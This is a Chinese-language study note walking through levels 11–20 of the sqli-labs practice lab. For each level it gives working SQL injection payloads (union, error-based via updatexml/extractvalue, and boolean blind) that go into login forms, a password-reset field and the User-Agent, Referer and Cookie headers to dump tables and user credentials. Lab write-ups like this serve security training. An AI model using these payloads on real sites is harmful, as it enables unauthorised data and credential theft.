安装完burpsuite和代理扩展后,我们开始闯关了,没有安装的看我的其他笔记。
第十一关
从第十一关开始,可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。我们可以直接在输入框进行注入就行。并且参数不在是一个还是两个。根据前面的认识我们可以猜测sql语句。大概的形式应该是这样username=参数 and password=参数 ,只是不知道是字符型还是整数型。
方法一
1、看源代码
通过源代码我们可以发现注入方式是单引号,可以知道是字符型
2、验证
此时,我们可以构造出一个恒成立的sql语句(1' or 1=1 #),看可以查询出什么,这里使用--+就不行,需要换成#来注释,这就和第一关是一样的了,使用联合注入就可以获取数据库信息。
1' or 1=1#
3、联合注入
第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
1' order by 2#
2没有出现报错,而3出现了报错,说明有2列。
第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第一列和第二列里面的数据是显示在页面的。
1' union select 1,2#
第三步:获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。
1' union select database(),version()#
第四步: 爆表,查看security库的所有表
1' union select group_concat(table_name),2 from information_schema.tables where table_schema='security'#
第五步:爆列,查看users表的所有列
1' union select group_concat(column_name),2 from information_schema.columns where table_schema='security' and table_name='users'#
第六步: 爆字段值,查看username和password字段的所有信息
1' union select 1,group_concat(username, ':', password) from users#
第十一关通过!
方法二:使用BrupSuite和代理
1、打开浏览器代理和BrupSuite
2、抓取流量
3、右键 点击:send to repeater
不管是第一种还是第二种方法,效果都是一样的,个人就用第一种图形化方式来练习。
第十二关
1、看源代码
通过看源代码我们可以得知,注入方式是双引号和小括号 ")
2、验证
1") or 1=1#
验证成功!
剩下的步骤和第十一关一样,把单引号换成双引号和小括号 ") 即可。
第十三关
1、看源代码
根据源代码得知,注入方式为单引号和小括号
2、验证
验证成功!
没有回显位时我们就要考虑用布尔盲注或者报错注入了。这里我们使用报错注入。
3、报错注入
第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
1') order by 2#
2没有出现报错,而3出现了报错,说明有2列。
第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第一列和第二列里面的数据是显示在页面的。
1') union select 1,2#
第三步:获取数据库名称
1') union select (updatexml(1,concat(0x7e,(select database()),0x7e),1))#
由图可知,数据库名称为security。
第四步:获取所有表名
第一张表:
1') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) #
第二张表:
1') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1) #
第三张表:
1') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1),0x7e),1) #
第四张表:
1') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) #
第五张表:
1') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 4,1),0x7e),1) #
第五张表时没有回显,说明没有第五张表,到此,四张表的表名已经全部爆出来。
第五步:获取所有字段名
第一个字段
1') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#
第一个字段是id。
第二个字段
1') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1)#
第二个字段是username。
第三个字段
1') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),0x7e),1)#
第三个字段是password。
第四个字段
1') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 3,1),0x7e),1)#
说明只有三个字段。
第六步:获取数据
username
1') and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)#
1') and updatexml(1,concat(0x7e,(select username from users limit 2,1),0x7e),1)#
依次类推,直到爆不出来username为止
password
1') and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)#
1') and updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)#
依次类推,直到爆不出来password为止。
十三关通过!
第十四关
1、看源码
由源码得知,注入方式是双引号。
2、验证
没有报错,验证成功!
3、报错注入
十四关和十三关一样,都是报错注入,唯一不同的就是注入方式从单引号和小括号 ')变成了双引号 "
第十五关
1、看源代码
由源代码可知,注入方式是单引号 '
2、验证
第十五关开始,不出现报错,也不出现回显,这时候就要考虑用布尔盲注了。
3、布尔盲注
1、判断数据库的长度
1' or length(database())>=8#
1' or length(database())>=9#
由图可知,数据库名长度为8。
2、猜数据库名字
1' or ascii(substr(database(),1,1))>114#
(如图所示)发现大于114正常,大于115页面false状态。所以数据库名第一个字符ascii码为115,通过ascii码查询发现是字符’s’。我们要重复此操作八次,才能猜出数据库名,方法和上面一样,就是把substr(database(),2,1)一直递增到8,最后得到数据库名为security。
3、猜表名长度
1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#
发现第一个数据库表名大于5页面正常,大于6页面false状态。(如图所示)
通过limit 0,1递增标注数字猜其他表名长度。
得到第一个表名长6,第二个表名长8,第三个表名长6,第四个长度表名长5
4、猜表名名字
1' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116#
(如图所示)发现第四个表名第一个字符ascii码大于116正常,大于117页面false,得到第四个表名第一个字符ascii码为117,说明是字符’u’
通过substr(表名,1,1)递增标注数字到5,猜出此表名名字为users
注意:这里为什么我直接查第四个表名了,因为我是知道这个表名才是我们要查的表名,实战如果是手工注入就得一个个表名猜,用工具就不用这么麻烦。
5、猜列名长度
1' or (length((select column_name from information_schema.columns where table_schema=database() and table_name="users"limit 0,1)))>1#
(如图所示)猜出第一个列名长度大于1页面正常,大于2页面false,所以第一个列名长2。以此类推递增limit得到所有列名长度(略)。第二个列名长8,第三个列名长8。
6、猜列名名字
1' or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116#
猜到第二个列名第一个字符大于116正常,大于117页面false。通过substr(列名,1,1) 和limit 0,1不断递增标识数字查出所有列名名字。这里只演示了一个列名。得到username,password列名。
7、猜数据长度
1' or length((select password from users limit 0,1))>3#
(如图所示)猜出第一个密码长度大于3正常,大于4页面false。以此类推查所有数据长度。
8、猜数据名字
1' or ascii(substr((select password from users limit 0,1),1,1))>67#
(如图所示)猜出密码第一个字符大于67正常,大于68页面false。以此类推,猜出所有数据名字。
第十六关
1、看源代码
由图可知,这一关的注入方式是双引号和小括号 ")
2、验证
验证成功!
3、布尔盲注
和第十五关一样,都是使用布尔盲注的方式进行注入,唯一不同是从单引号 ' 变成了双引号小括号 ")
十七关
1、看源代码
根据页面展示和源代码的sql语句来看,我们可以得知这是一个密码重置页面,也就是说我们已经登录系统了,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。
对以上代码进行解释:
由上图可知,在执行这条sql语句之前,会对输入的账户名进行检查,对输入的特殊字符转义。
所以我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。
由此可知,闭合方式是单引号 '
2、验证
3、报错注入
1、爆数据库名
username:admin
password:123' and updatexml(1,concat(0x7e,(database()),0x7e),1)#
2、爆表
username:admin
password:123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
3、爆字段名
username:admin
password:
123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)#
4、爆数据
这里如果对users表进行注入,会报错,因为mysql不支持同时更新和查询同一张表,如果对其他表进行注入就没有问题。这里对users表进行注入的话,就要使用子查询(中间表):
username:admin
password:123' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from security.users)b),0x7e),1)#
(其中,b是给子查询,中间表起的表名)
十七关完成!
十八关
十八——二十二关
十八关(user-agent)
十九关(referer)
二十关(cookie)
二十一关(cookie)
二十二关(cookie)
1、寻找注入点
看源代码可知,用户名和密码都被过滤了。因此这关首先要知道正确的账号和密码,可以去前些关拿到账号和密码。
(这里因为上一关是重置密码的页面,将密码重置为1了,需要原本的密码重置sql-labs的数据库即可)不知道密码的去查看mysql数据库即可
成功登录会显示user-agent信息,注入点在user-agent
2、验证
使用BurpSuite抓包后,
a or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1=1
a' or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1='1
注入成功!判断为单引号闭合
3、报错注入
1、爆数据库名
这里最后不能用--+和#来截断后面的sql语句,因此使用'1'='1来闭合后面的单引号:
a' and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1
2、爆数据
User-Agent: 1',2,updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#
十九关
1、看源代码
看源代码可知,用户名和密码都被过滤了。因此这关首先要知道正确的账号和密码,可以去前些关拿到账号和密码。
BurpSuite抓包
登陆成功后有回显,尝试用referer注入
2、报错注入
1、爆数据库名
Referer: 1' and extractvalue(1,concat(0x7e,(database())))='1
2、爆数据库版本
a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='#
3、爆数据
1',updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#
第二十关
1、看源代码
看源代码可知,用户名和密码都被过滤了。因此这关首先要知道正确的账号和密码,可以去前些关拿到账号和密码登录。
BurpSuite抓包
成功登录会显示user-agent信息和cookie信息,注入点在cookie
2、报错注入
1、爆数据库版本
Cookie: uname=admin' and updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1)#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165
2、爆所有数据库
Cookie: uname=admin' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),5,31),0x7e),1)#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165
修改参数可以查询到所有数据库名
3、爆security的所有表
Cookie: uname=admin' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165
4、查看users表的所有列
Cookie: uname=admin' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165
5、获取username和password字段的所有信息
Cookie: uname=admin' and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),1,31),0x7e),1)#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165
完成!